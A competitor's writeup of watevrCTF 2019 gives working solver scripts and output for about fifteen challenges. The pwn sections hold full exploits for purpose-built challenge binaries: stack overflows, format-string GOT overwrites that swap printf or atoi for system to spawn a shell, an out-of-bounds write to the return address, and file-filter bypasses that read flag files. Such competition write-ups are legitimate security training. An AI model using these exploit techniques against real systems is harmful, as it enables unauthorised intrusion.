I played watevrCTF, a Swedish CTF held from December 13th to 15th, in zer0pts
.
We got 4869pts and stood 3rd place.
Most of tasks are well-designed and I really enjoyed the CTF. Thank you to watevr for hosting the CTF!
- [pwn 33pts] Voting Machine 1 (241 solves)
- [pwn 73pts] Voting Machine 2 (83 solves)
- [pwn 144pts] Club Mate (33 solves)
- [pwn 194pts] Betstar5000 (21 solves)
- [pwn 277pts] M-x 5x5 (11 solves)
- [pwn 173pts] Wat-sql (25 solves)
- [pwn+reverse 304pts] Spott-i-fy (9 solves)
- [forensics 23pts] Evil Cuteness (425 solves)
- [reverse 98pts] esreveR (56 solves)
- [reverse+crypto 173pts] Watshell (25 solves)
- [misc 153pts] Ancient Script (30 solves)
- [web 213pts] HTJP (18 solves)
- [reverse+pwn 220pts] sabataD (17 solves)
- [rev+crypto 304pts] Librarians Nightmare (9 solves)
- [misc 337] Hjärnknull (7 solves)
Team members' writeups:
The tasks and solvers for some challenges I solved:
https://bitbucket.org/ptr-yudai/writeups/src/master/2019/watevrCTF_2019/
[pwn 33pts] Voting Machine 1 (241 solves)
Description: In a world with many uncertainties we need some kind of structure. Democracy is a big part of that, therefore we need voting machines! Well, at least if they are safe... Server: nc 13.48.67.196 50000 File: kamikaze
Simple stack overflow.
from ptrlib import * elf = ELF("./kamikaze") #sock = Process("./kamikaze") sock = Socket("13.48.67.196", 50000) payload = b'A' * 10 payload += p64(elf.symbol('super_secret_function')) sock.sendlineafter("Vote: ", payload) sock.interactive()
$ python solve.py [+] __init__: Successfully connected to 13.48.67.196:50000 [ptrlib]$ Thanks for voting! watevr{w3ll_th4t_w4s_pr3tty_tr1v1al_anyways_https://www.youtube.com/watch?v=Va4aF6rRdqU}
[pwn 73pts] Voting Machine 2 (83 solves)
Description: In a world with many uncertainties we need some kind of structure. Democracy is a big part of that, therefore we need voting machines! Well, at least if they are safe... Server: nc 13.53.125.206 50000 File: kamikaze2, libc-2.27.so
Simple format string exploit.
from ptrlib import * elf = ELF("./kamikaze2") libc = ELF("./libc-2.27.so") #sock = Process("./kamikaze2") sock = Socket("13.53.125.206", 50000) addr_start = 0x8420620 # leak libc payload = b'XX' payload += fsb( pos = 8, writes = {elf.got('exit'): addr_start}, written = 2, bs = 2, bits = 32 ) payload += b'::%23$p' sock.sendlineafter("Topic: ", payload) libc_base = int(sock.recv(4000).split(b'::')[-1][:10], 16) - libc.symbol('__libc_start_main') - 0xf1 logger.info("libc = " + hex(libc_base)) # overwrite printf payload = b'XX' payload += fsb( pos = 8, writes = {elf.got('printf'): libc_base + libc.symbol('system')}, written = 2, bs = 1, bits = 32 ) sock.sendline(payload) sock.recv() # get the shell! sock.sendline("/bin/sh\x00") sock.recv() sock.interactive()
$ python solve.py [+] __init__: Successfully connected to 13.53.125.206:50000 [+] <module>: libc = 0xf7d23000 [ptrlib]$ cat /home/ctf/flag.txt [ptrlib]$ watevr{GOT_som3_fl4g_for_you_https://www.youtube.com/watch?v=hYeFcSq7Mxg}
[pwn 144pts] Club Mate (33 solves)
Description: You got assigned as mcDonald's *national* security expert, hence, you are now the richest mcDdonald's employee in the world! Of course, you want it to stay that way! The only problem is that, after all the pwning at mcDonald's, your thirst has grown to an uncontrollable amount. You need that club mate but you can't loose money in the process! Server: nc 13.48.178.241 50000 File: Club_Mate
OOB to make money big. We need to consume all clubs to reach to the money check.
from ptrlib import * def buy(index): sock.sendline(str(index)) sock.sendline("$4") def ret(index): sock.sendline(str(index)) sock.sendline("yes") elf = ELF("./Club_Mate") #sock = Process(["stdbuf", "-o0", "-i0", "./Club_Mate"]) sock = Socket("13.48.178.241", 50000) buy(0) ret(0) for i in range(1, 15): buy(i) for i in range(113): buy(-4) buy(0) sock.interactive()
$ python solve.py ... That will be $4 Thanks, here is your club-mate! watevr{P4nTa_M33333333Ra_youtube.com/watch?v=QGoEYcRmzq0}
[pwn 194pts] Betstar5000 (21 solves)
Description: Welcome to our betting service! I hope you will like it :)) Server: nc 13.53.69.114 50000 Files: betstar5000, libc-2.27.so
We're given a 64-bit ELF.
$ checksec -f betstar5000 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 0 3 betstar5000
It has FSB in the name when a player wins a game. We can only set short name on heap so it might be hard to overwrite GOT with this. However, on the stack there's an address pointing to the player list on the heap. I modified the address of the player's name to the pointer of another player's name.
Before: name[0] = "foo" After: name[0] = &name[1]
Thus we have AAW. I changed atoi into system.
from ptrlib import * elf = ELF("./betstar5000") libc = ELF("./libc-2.27.so") #sock = Process("./betstar5000") sock = Socket("13.53.69.114", 50000) # set players sock.sendline("1") sock.sendline("%p.%p.%p") # leak addr sock.sendlineafter("game\n", "1") sock.sendline("1") sock.sendline("0") sock.recvuntil("*: ") r = sock.recvline().split(b'.') libc_base = int(r[1], 16) - libc.symbol('_IO_2_1_stdin_') proc_base = int(r[2], 16) - 0x8d5 logger.info("libc = " + hex(libc_base)) logger.info("proc = " + hex(proc_base)) # change name sock.sendlineafter("game\n", "4") sock.sendline("0") sock.sendline("%{}c%7$hhn".format(0x88)) # overwrite name[0] to &name[1] sock.sendlineafter("game\n", "1") sock.sendline("1") sock.sendline("0") # add player sock.sendlineafter("game\n", "3") sock.sendline("taro") # overwrite atoi to system sock.sendlineafter("game\n", "4") sock.sendline("0") sock.sendline(p32(proc_base + elf.got("atoi"))) sock.sendlineafter("game\n", "4") sock.sendline("1") sock.sendline(p32(libc_base + libc.symbol("system"))) # get the shell! sock.sendlineafter("game\n", "sh\x00") sock.interactive()
Yay!
$ python solve.py [+] __init__: Successfully connected to 13.53.69.114:50000 [+] <module>: libc = 0xf7d44000 [+] <module>: proc = 0x565e6000 [ptrlib]$ cat /home/ctf/flag.txt [ptrlib]$ watevr{i_G0Tta_f33ling_https://www.youtube.com/watch?v=uSD4vsh1zDA}
[pwn 277pts] M-x 5x5 (11 solves)
Description: I'm working on rewriting Emacs in C, and have gotten quite a lot of it done. Can you help me, and see if there are any security issues with it? Note: A more functional version can be found here: http://www.logicgamesonline.com/lightsout/ Server: nc 13.53.187.163 50000 File: M-x-5x5
It's a lights-out game.
$ checksec -f M-x-5x5 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 75 Symbols No 0 4 M-x-5x5
The flip function has obvious oob error. So, I flipped the return address bit by bit and turned it into the flag function.
from ptrlib import * """ 11110110 11101100 11010000 11100000 00000010 00000010 00000000 00000000 00000000 --> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 """ def flip(x, y): logger.info("flipping ({}, {})".format(x, y)) sock.sendlineafter(": ", "f {} {}".format(x, y)) def overwrite(val, orig=0x400b6f): state = orig for i in range(8): b = (val >> (i * 8)) & 0xff for j in range(8): a = (state >> (i * 8)) & 0xff if (a >> j) & 1 != (b >> j) & 1: flip(j, 17 + i) mask = 0b11 if j > 0: mask = (0b111 << (j - 1)) & 0xff state ^= (1 << j) << (i * 8) state ^= mask << ((i + 1) * 8) #sock = Process("./M-x-5x5") sock = Socket("13.53.187.163", 50000) sock.sendline('') sock.sendlineafter('? ', '8') logger.info("overwriting...") overwrite(0x400738) # skip `push rbp` to avoid movaps sock.sendlineafter(": ", "q") sock.interactive()
Great!
$ python solve.py [+] __init__: Successfully connected to 13.53.187.163:50000 [+] <module>: overwriting... [+] flip: flipping (0, 17) [+] flip: flipping (1, 17) ... [+] flip: flipping (7, 23) [+] flip: flipping (2, 24) [ptrlib]$ here you go: watevr{watevr{maybe_well_implement_M-x_tetris_some_day}}
[pwn 173pts] Wat-sql (25 solves)
Description: The success of sabataD was so great that we implemented an even better and even more secure system! Wat-sql offers secure write and read access! Server: nc 13.53.39.99 50000 File: wat-sql
The program reads a specified line of a specified file.
It filters out some string like flag
for file name.
However, if a variable is set, we can bypass the filter.
The variable is left set when we try to open a file which doesn't exist.
from ptrlib import * #sock = Process("./wat-sql") sock = Socket("13.53.39.99", 50000) # auth code = b'watevr-sql2019-demo-code-admin' code += b'\x00' * (0x20 - len(code)) code += b'sey' sock.sendafter(": ", code) # abort read sock.sendlineafter("Query: ", "read ") sock.sendlineafter("from: ", "/ponta") # read flag sock.sendlineafter("Query: ", "read ") sock.sendlineafter("from: ", "/home/ctf/flag.txt") sock.sendlineafter("read: ", "0") sock.interactive()
$ python solve.py [+] __init__: Successfully connected to 13.53.39.99:50000 [ptrlib]$ Data: watevr{wait_how_was_the_flag_file_was_specifically_checked_for?!_youtube.com/watch?v=KXnG0KkVzo8}
[pwn+reverse 304pts] Spott-i-fy (9 solves)
Description: Spotify is sooo hard to use, so i decided to make a super secure api for it! Server: nc 13.48.149.167 50000 File: spottify
There're some vulnerabilities and bugs in the program. I tried to overlap userinfo and music list to leak the flag on the heap but the solution was much easier. The login function has overflow in the password......
from ptrlib import * def register(username, password, nofill=False): sock.sendline("r") sock.sendline(username) if nofill: sock.sendline(password) else: sock.sendline(password + b'\x00' * (30 - len(password))) sock.recvline() def login(username, password): sock.sendline("l") sock.sendlineafter(": ", username) sock.sendlineafter(": ", password) sock.sendlineafter(": ", "n") def fetchall(): sock.sendline("Fetch *") def fetch(cat1, cat2, cat3): sock.sendline("Fetch {} {} {}".format(cat1, cat2, cat3)) def logout(): sock.sendline("Logout") sock.recvline() #sock = Process("./spottify") sock = Socket("13.48.149.167", 50000) sock.recvline() login("taro", "A" * 30 + "taw") fetch("watpop", "KNAAN", "\xf0\x9d\x93\xaf\xf0\x9d\x93\xb5\xf0\x9d\x93\xaa\xf0\x9d\x93\xb0") sock.interactive()
Pwn tasks are mostly reversing tasks :/
$ python solve.py [+] __init__: Successfully connected to 13.48.149.167:50000 [ptrlib]$ Listeners: 13371337 Secret: watevr{spott-i-fy_1s_my_n3w_goto_sabataD!_youtube.com/watch?v=eserxoOmeeY}
[forensics 23pts] Evil Cuteness (425 solves)
Description: Omg, look at that cute kitty! It's so cute I can't take my eyes off it! Wait, where did my flag go? File: kitty.jpg
foremost + unzip
[reverse 98pts] esreveR (56 solves)
Description: If you reverse a reversed program, in reverse. Have you then reversly reversed a reverse reverse or have you reversed the reversed reverse, in reverse? File: esrever
There's a "flag check" function, in which it checks the flag byte by byte. I used gdb script to extract the correct ones.
# gdb -n -q -x solve.py ./esrever import gdb import re gdb.execute("set disassembly intel") gdb.execute("set pagination off") gdb.execute("break *0x555555554ba0") gdb.execute("run << /dev/null") flag = "" while True: gdb.execute("nexti") line = gdb.execute("x/1i $rip", to_string=True) r = re.findall("\t([a-z]+) ", line) if r == [] or r[0] != 'cmp': continue r = re.findall("QWORD PTR \[rbp(.+)\]", line) if r == []: continue ofs = int(r[0], 16) line = gdb.execute("x/1bx $rbp+({})".format(ofs), to_string=True) c = line.split(":\t")[1] flag += chr(int(c, 16)) print(flag) gdb.execute("set $rax={}".format(c))
[reverse+crypto 173pts] Watshell (25 solves)
Description: We have had such terrible experience with socalled secure systems that we decided to create our own! Now we can finally ensure user privacy in remote shells! Server: nc 13.48.42.211 50000 File: watshell
We can give up to 0x20 values to the program. It calculates the following formula for each value.
m[i] = pow(v[i], 113, 143)
m
must become give_me_the_flag_please
.
As it's a simple (and weak) RSA, we can find the correct values.
from ptrlib import * p = 11 q = 13 d = 113 e = inverse(d, (p-1) * (q-1)) cipher = [] plain = b'give_me_the_flag_please' for c in plain: cipher.append(pow(c, e, p*q)) # 38 118 79 95 127 109 95 127 129 91 95 127 20 114 15 38 127 73 114 95 15 124 95 print(' '.join(list(map(str, cipher))))
Yay!
$ nc 13.48.42.211 50000 Welcome to watshell, we ofcourse use our own super secure cryptographic functions to ensure user privacy! Command: 38 118 79 95 127 109 95 127 129 91 95 127 20 114 15 38 127 73 114 95 15 124 95 Alright, alright watevr{oops_1_f0rg0t_to_use_r4ndom_k3ys!_youtube.com/watch?v=BaACrT6Ydik}
[misc 153pts] Ancient Script (30 solves)
Description: Hmm, this looks like something my english teacher would give me, doesn't it? Too bad i forgot english... NOTE: the flag for this challenge is not in the standard watevr{} format. Submit it as is right from the challenge without the flag format. File: romeo
We're given an SPL program. I converted it into C by spl2c and compiled it. It pushes the following flag into the stack.
d0n7_y0u_l0v3_350l4n65_45_much_45_w3_d0?
[web 213pts] HTJP (18 solves)
Description: Wasn't this supposed to be a joke? You should go take a look at /i_store_my_flag_inside_this_file.txt Note: Because of an oversight in the specification, Content-Length is required. Also, the link below should be htjp:// instead of http://, sorry about that. Server: http://13.53.150.215:50000
It's a HTJP server.
It "responses" a url which seems calculated with using our "request" contents by xoring.
I made a script to find the xor key in order to make the server access /i_store_my_flag_inside_this_file.txt
.
from ptrlib import * import urllib.parse def send_request(content): sock.send("HTTP/1.1 200 OK\r\n") sock.send("Content-Length: {}\r\n".format(len(content))) sock.send("Content-Type: text/plain\r\n\r\n") sock.send(content) r = re.findall(b"/(.+) HTTP", sock.recvline()) return str2bytes(urllib.parse.unquote(bytes2str(r[0]))) target = b"i_store_my_flag_inside_this_file.txt" c = "1" sock = Socket("13.53.150.215", 50000) key = send_request(c * len(target) + "\r\n") key = xor(key, c) print(key) sock.close() cipher = target delta = key for i in range(50): sock = Socket("13.53.150.215", 50000) cipher = xor(cipher, delta) delta = send_request(cipher) print(delta) if delta == target: break delta = xor(delta, target) sock.close() print(xor(cipher, target)) sock.interactive()
And xoring the key with the target url generated the flag.
from ptrlib import * import urllib.parse def send_request(content): sock.send("HTTP/1.1 200 OK\r\n") sock.send("Content-Length: {}\r\n".format(len(content))) sock.send("Content-Type: text/plain\r\n\r\n") sock.send(content) #r = re.findall(b"/(.+) HTTP", sock.recvline()) #return str2bytes(urllib.parse.unquote(bytes2str(r[0]))) target = b"i_store_my_flag_inside_this_file.txt" c = "1" key = b'\x1e>\x07\x11\x19\x00\x1eo\x0f\x13l\x05[P\x11l\x05\x17,\x1a\x11\x15:\x06\x01\x06\x01\x00QY3\r\x19C\x08\t' sock = Socket("13.53.150.215", 50000) cipher = xor(target, key) print(send_request(cipher)) print(sock.recv()) sock.interactive() print(xor(target, key))
[reverse+pwn 220pts] sabataD (17 solves)
Description: !tuo ti kcehc s'tel ,woW !llewsa ti rof ipa na tuo gnivig era yeht dna ho ,esabatad looc repus wen a evah elgoog draeh i Server: nc 13.48.192.7 50000 Files: client, server
I analysed the server to reveal the communication protocol.
It uses rot13 and pads command, username, filepath byte by byte.
The server "glob"s the given path and read the file.
So, we can make it open /home/ctf/flag.txt
without putting the whole path.
from ptrlib import * def rot13(s): output = b'' for c in s: if ord('a') <= c <= ord('z'): output += bytes([ord('a') + (c - ord('a') + 13) % 26]) elif ord('A') <= c <= ord('Z'): output += bytes([ord('A') + (c - ord('A') + 13) % 26]) else: output += bytes([c]) return output def craft_payload(command, username, filepath): payload = b'' for i in range(max(len(command), len(username), len(filepath))): if len(command) > i: payload += bytes([command[i]]) else: payload += b'_' if len(username) > i: payload += bytes([username[i]]) else: payload += b'_' if len(filepath) > i: payload += bytes([filepath[i]]) else: payload += b'_' payload += b'\x00' * (0xc8 - len(payload)) return rot13(payload) sock = Socket("13.48.192.7", 50000) payload = craft_payload(b'Fetch from file with index', b'watevr-admin', b'/home/ctf/flag.tx*') sock.send(payload) sock.interactive()
[rev+crypto 304pts] Librarians Nightmare (9 solves)
Description: "Oh no", the Librarian whispered as she dropped her book. "I was just getting to the part about the flag, but I don't remember what page it was. All I remember is the word watevr{. Can you help me find where I was?" Server: http://13.48.27.177:50000
We're given the server source code and book generater.
It makes the book content by n2st(f(100*page + offset))
.
n2st
is defined as below:
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_' def n2st(n, length = 7): if length == 0: return "" ch = chars[n % len(chars)] return n2st(n // len(chars), length - 1) + ch
So, it's base 65.
And the interesting part is f
.
def f(n): if n == 0: return (c + k) % m if n % 2 == 0: fx = f(n // 2) return (k + (fx ** 2 - 2 * k * fx + k ** 2) * d) % m else: fx = f((n - 1) // 2) return (k + a * (fx ** 2 - 2 * k * fx + k ** 2) * d) % m
where c
, a
, k
, d
are unknown.
c, a, k, d = map(int, open("keys.txt", "r").read().split()) m = 4902227890643 assert((c * d) % m == 1);
Let's take a look over f
from the base of the recursion.
Be noticed (fx ** 2 - 2 * k * fx + k ** 2)
is actually (fx - k)**2
.
Cool! Let's calculate f(2).
Now we can generalize this calculation.
Okay. As we can get f(n)
from the server, we can find .
Thus,
Now we have everything :)
from ptrlib import inverse chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_' def n2st(n, length = 7): if length == 0: return "" ch = chars[n % len(chars)] return n2st(n // len(chars), length - 1) + ch def st2n(st): n = 0 for i, c in enumerate(st): n += 65**(6-i) * chars.index(c) return n m = 4902227890643 f0 = st2n("TgIgMEI") f1 = st2n("Nh2uPF8") f2 = st2n("h5EMH{G") a = ((f1 - f2) * inverse(f0 - f1, m)) % m c = ((f1 - f0) * inverse(a - 1, m)) % m k = (f0 - c) % m d = inverse(c, m) print("a = {}".format(a)) print("c = {}".format(c)) print("k = {}".format(k)) def ff(n): return (pow(a, n, m) * c + k) % m fn = st2n('watevr{') b = ((fn - k) * d) % m print("Solve {} = {} ^ n mod {}".format(b, a, m))
At last, we need to find the page number from the following formula.
3166318913274 = 1362000037531 ^ n mod 4902227890643
This can be solved by sage.
F = Zmod(m) discrete_log(F(3166318913274), F(1362000037531), F.order())
We have n=2555482270306, so the flag is written in page 25554822703, 6th word.
Bingo!
[misc 337] Hjärnknull (7 solves)
Description: Watevr has difficulities making a decent calculator, so we are outsourcing! Oh and we ofcourse want you to do it in our own and therefore superior language, hjärnknull! Best of luck, you will need it. Server: nc 13.48.59.61 50000 Files: clarification, hjärnknull.py
I made a simple assembler to make it easy to write the program.
import re def assemble(instructions): output = [] for instr in instructions: s = instr.split() if s == []: continue ope = s[0] args = [] r = re.findall("data\[(\d+)\]", ''.join(s[1:])) if r: args += r r = re.findall("code\[(\d+)\]", ''.join(s[1:])) if r: args += r if ope == 'or': output.append("eller {} {}".format(args[0], args[1])) elif ope == 'not': output.append("inte {}".format(args[0])) elif ope == 'iseq': output.append("testa {} {} {}".format(args[0], args[1], args[2])) elif ope == 'ret': output.append("poppa") elif ope == 'recv': output.append("in {}".format(args[0])) elif ope == 'chall': output.append("ut {}".format(args[0])) elif ope == 'shr': output.append("hsh {} {}".format(args[0], args[1])) elif ope == 'shl': output.append("vsh {} {}".format(args[0], args[1])) else: print("[!] Unknown instruction: `{}`".format(ope)) output.append("slut 0") return output if __name__ == '__main__': assemble([ "or data[0], data[1]", "not data[123]", "je data[0], data[1] call data[2]", "ret", "recv data[20]", "chall data[20]", "shr data[0], data[1]", "shl data[3], data[2]", ])
According to the clarification, we need to calculate given inputs 4 times.
0 is addition, 1 is subtraction and 2 is multiplication.
For example, challenge_file.txt
may look like this:
0 3 5: 8 1 22 12: 10 2 8 9: 72 ...
I couldn't make a program which calculates these operations in the limited VM instructions.
st98 suggested to find out the input values instead of calculating them.
For example, the following code will go infinite loop only if input[0][0] == 0
.
codeList = assemble([ "iseq data[999]=data[999] { call code[2] }", "iseq data[999]=data[999] { call code[1] }", "recv data[0]", "recv data[1]", "recv data[2]", "shr data[100], data[101]", "shl data[102], data[101]", "iseq data[0]=data[100] { call code[1] }", ])
I found the operation for the first line is 2 in this way.
Second, I leaked the input values bit by bit.
We can generate -2 by (~(1>>1)>>1)<<1
and ~(x|-2)
becomes 0 if x&1==1
.
In this way we can leak each bit.
The following code leaks the least significant bit of input[0][2]
.
codeList = assemble([ "iseq data[999]=data[999] { call code[2] }", "iseq data[999]=data[999] { call code[1] }", # infinite loop "recv data[0]", # recv inputs "recv data[1]", "recv data[2]", "shr data[10], data[101]", # data[10] = -2 (= 0b11111...1110) "not data[10]", "shr data[10], data[101]", "shl data[10], data[101]", "shr data[2], data[101]", # shift right i times "shr data[2], data[101]", "shr data[2], data[101]", "or data[2], data[10]", # check the least significant bit "not data[2]", "iseq data[2]=data[101] { call code[1]}" # if (x>>i)&1==0 --> infinite ])
I know this is unintended solution and it's too hard but I didn't have enough time.
Finally I leaked everything in challenge_file.txt
:
2 5 15:75 2 44 4578:201432 2 154545 1:154545 0 5 9:14
This is the final code.
from ptrlib import * from asm import assemble sock = Socket("13.48.59.61", 50000) #sock = Process(["python", "hjarnknull.py"]) codeList = assemble([ "iseq data[999]=data[999] { call code[2] }", "iseq data[999]=data[999] { call code[1] }", # infinite loop "shl data[0], data[101]", "shl data[0], data[101]", "shl data[0], data[101]", "or data[0], data[101]", "shl data[0], data[101]", "shl data[0], data[101]", "or data[0], data[101]", "shl data[0], data[101]", "or data[0], data[101]", "chall data[0]", "shl data[1], data[101]", "or data[1], data[101]", "shl data[1], data[101]", "shl data[1], data[101]", "shl data[1], data[101]", "shl data[1], data[101]", "or data[1], data[101]", "shl data[1], data[101]", "shl data[1], data[101]", "shl data[1], data[101]", "or data[1], data[101]", "shl data[1], data[101]", "shl data[1], data[101]", "or data[1], data[101]", "shl data[1], data[101]", "or data[1], data[101]", "shl data[1], data[101]", "shl data[1], data[101]", "or data[1], data[101]", "shl data[1], data[101]", "or data[1], data[101]", "shl data[1], data[101]", "shl data[1], data[101]", "shl data[1], data[101]", "chall data[1]", "shl data[2], data[101]", "shl data[2], data[101]", "shl data[2], data[101]", "or data[2], data[101]", "shl data[2], data[101]", "shl data[2], data[101]", "or data[2], data[101]", "shl data[2], data[101]", "or data[2], data[101]", "shl data[2], data[101]", "shl data[2], data[101]", "or data[2], data[101]", "shl data[2], data[101]", "or data[2], data[101]", "shl data[2], data[101]", "or data[2], data[101]", "shl data[2], data[101]", "shl data[2], data[101]", "or data[2], data[101]", "shl data[2], data[101]", "or data[2], data[101]", "shl data[2], data[101]", "shl data[2], data[101]", "shl data[2], data[101]", "shl data[2], data[101]", "or data[2], data[101]", "chall data[2]", "shl data[3], data[101]", "or data[3], data[101]", "shl data[3], data[101]", "or data[3], data[101]", "shl data[3], data[101]", "chall data[3]" ]) for i, code in enumerate(codeList): print(code) sock.sendline(code) sock.interactive()
$ python solve.py ... ... Jävlar vilket klockrent program du har skrivit! Här har du en flagga watevr{And_I_thought_brainfuck_was_a_hjärnknull_jeez_youtube.com/watch?v=CAb_bCtKuXg}